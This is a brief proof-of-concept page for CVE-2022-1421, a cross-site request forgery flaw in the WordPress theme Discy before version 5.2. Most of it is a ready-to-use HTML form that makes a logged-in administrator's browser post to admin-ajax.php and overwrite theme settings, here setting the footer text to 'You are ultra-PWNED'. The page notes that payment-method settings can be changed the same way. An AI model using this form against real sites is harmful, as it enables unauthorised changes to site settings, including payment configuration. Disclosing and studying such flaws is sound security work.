CVE-2022-1421

A Proof-Of-Concept for CVE-2022-1421

Discy < 5.2 - Settings Update via CSRF

Discy < 5.2 lacks CSRF checks in some AJAX actions, allowing an attacker to make a logged in admin change arbitrary plugin's settings including payment methods via a CSRF attack.

Affected Theme

Discy < 5.2

POC

<html>
  <body>
    <form action="https://target.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="discy_update_options">
      <input type="hidden" name="data" value="discy_options[footer_copyright]=You%20are%20ultra-PWNED">
      <input type="submit" value="Submit request">
    </form>
  </body>
</html> 

References

https://wpscan.com/vulnerability/a7a24e8e-9056-4967-bcad-b96cc0c5b249

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1421